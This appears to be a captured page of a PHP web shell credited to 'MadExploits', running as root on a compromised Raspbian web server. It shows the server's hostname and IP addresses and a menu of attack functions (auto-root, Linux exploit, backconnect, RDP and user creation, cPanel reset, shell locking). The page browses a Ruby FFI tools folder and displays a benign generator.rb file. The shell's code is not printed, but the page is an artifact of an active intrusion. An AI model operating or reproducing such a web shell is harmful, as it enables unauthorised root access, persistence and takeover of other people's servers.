Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
ffi /
tools /
[ HOME SHELL ]
Name
Size
Permission
Action
const_generator.rb
6.98
KB
-rw-r--r--
generator.rb
1.38
KB
-rw-r--r--
generator_task.rb
730
B
-rw-r--r--
struct_generator.rb
4.3
KB
-rw-r--r--
types_generator.rb
3.92
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generator.rb
module FFI # @private class Generator def initialize(ffi_name, rb_name, options = {}) @ffi_name = ffi_name @rb_name = rb_name @options = options @name = File.basename rb_name, '.rb' file = File.read @ffi_name new_file = file.gsub(/^( *)@@@(.*?)@@@/m) do @constants = [] @structs = [] indent = $1 original_lines = $2.count "\n" instance_eval $2, @ffi_name, $`.count("\n") new_lines = [] @constants.each { |c| new_lines << c.to_ruby } @structs.each { |s| new_lines << s.generate_layout } new_lines = new_lines.join("\n").split "\n" # expand multiline blocks new_lines = new_lines.map { |line| indent + line } padding = original_lines - new_lines.length new_lines += [nil] * padding if padding >= 0 new_lines.join "\n" end open @rb_name, 'w' do |f| f.puts "# This file is generated by rake. Do not edit." f.puts f.puts new_file end end def constants(options = {}, &block) @constants << FFI::ConstGenerator.new(@name, @options.merge(options), &block) end def struct(options = {}, &block) @structs << FFI::StructGenerator.new(@name, @options.merge(options), &block) end ## # Utility converter for constants def to_s proc { |obj| obj.to_s.inspect } end end end
Close